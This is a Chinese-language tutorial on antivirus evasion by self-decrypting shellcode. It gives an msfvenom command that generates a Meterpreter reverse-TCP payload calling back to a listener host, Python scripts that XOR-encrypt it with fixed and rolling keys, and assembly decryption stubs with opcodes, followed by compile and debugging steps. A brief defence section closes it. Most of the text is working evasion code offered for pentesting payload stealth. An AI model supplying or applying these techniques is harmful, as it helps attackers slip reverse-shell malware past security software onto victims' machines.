免杀学习之如何实现shellcode的自解密
字数 909 2025-08-22 18:37:14
Shellcode自解密技术详解
1. 基本概念
Shellcode自解密是一种反检测技术,通过将原始shellcode进行加密处理,然后在执行时动态解密并执行。这种方法可以有效绕过杀毒软件的静态检测。
2. 基础异或加密实现
2.1 生成原始shellcode
使用msfvenom生成基础的meterpreter反向TCP shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.135.141 LPORT=4444 -f c -o shellcode.c
生成的shellcode示例:
\xFC\xE8\x8F\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30...
2.2 异或加密Python实现
def xor_shellcode(shellcode):
result = ''
shellcode = shellcode.replace(" ", "").replace("\n", "").replace("\r", "")
for i in range(0, len(shellcode), 2):
byte = int(shellcode[i:i+2], 16)
xor_byte = byte ^ 121 # 0x79作为异或密钥
result += format(xor_byte, '02x')
print("shellcode长度:" + str(len(shellcode)))
return result
if __name__ == '__main__':
shellcode = input("shellcode: ")
xorshellcode = xor_shellcode(shellcode)
print("Xor_shellcode: " + xorshellcode)
2.3 解密汇编代码
解密代码需要放置在加密的shellcode之前:
31 c9 ; xor ecx,ecx 清空ecx
B9 62 01 00 00 ; mov ecx, 0x162 设置循环次数(354次)
80 74 08 0D 79 ; xor byte ptr [eax+ecx*1+0xd],0x79 解密操作
E2 F9 ; loop -7 循环
3. 高级自解密技术
3.1 Shikata Ga Nai编码分析
MSF的Shikata Ga Nai编码使用更复杂的解密机制:
- 设置初始密钥:
mov eax,6F7F0398 - 设置循环次数:
mov cl,59(89次) - 解密操作:
xor dword ptr ds:[edx+19],eax - 更新密钥:
add eax,dword ptr ds:[edx+15]
3.2 改进版异或加密
使用前一个字节作为下一个字节的密钥:
def xor_shellcode(shellcode):
result = ''
shellcode = shellcode.replace(" ", "").replace("\n", "").replace("\r", "")
xor_key = 121 # 初始密钥0x79
for i in range(0, len(shellcode), 2):
byte = int(shellcode[i:i+2], 16)
xor_byte = byte ^ xor_key
result += format(xor_byte, '02x')
xor_key = xor_byte # 更新密钥为上一个解密后的字节
print("shellcode长度:" + str(len(shellcode)))
return result
3.3 对应的解密汇编代码
31 c9 ; xor ecx,ecx
89 c2 ; mov edx,eax
31 c0 ; xor eax,eax
B9 61 01 00 00 ; mov ecx, 0x161 (353次循环)
8a 44 0A 1D ; mov al,BYTE PTR [edx+ecx*1+0x1e]
32 44 0A 1C ; xor al,BYTE PTR [edx+ecx*1+0x1d]
88 44 0A 1D ; mov BYTE PTR [edx+ecx*1+0x1e],al
E2 F2 ; loop -14
80 72 1D 79 ; xor byte ptr [eax+0x1d],0x79
4. 编译与调试
4.1 编译过程
使用NASM和GCC编译:
nasm -f win32 xor.asm -o main.obj
gcc -m32 main.obj -o xor_msf.exe -lkernel32
4.2 调试技巧
- 在x32dbg中搜索
jmp eax指令并设置断点 - 运行到断点后,右键"转到eax地址"查看解密后的shellcode
- 使用Process Monitor监控程序行为,验证shellcode是否成功执行
5. 技术要点总结
- 密钥选择:可以使用固定密钥(如0x79)或动态密钥(前一个解密字节)
- 解密方向:可以从后向前解密,增加分析难度
- 循环控制:需要精确计算shellcode长度和循环次数
- 内存操作:通过寄存器间接寻址访问加密的shellcode
- 反调试:结合多种解密技术可以增强对抗分析的能力
6. 防御建议
- 监控异常的内存访问模式
- 检测包含解密循环的可执行文件
- 分析程序的动态行为而非静态特征
- 使用沙箱技术检测可疑的API调用序列
通过掌握这些自解密技术,可以有效提升渗透测试中payload的隐蔽性和存活率,同时也帮助蓝队更好地理解这类攻击手法并制定防御策略。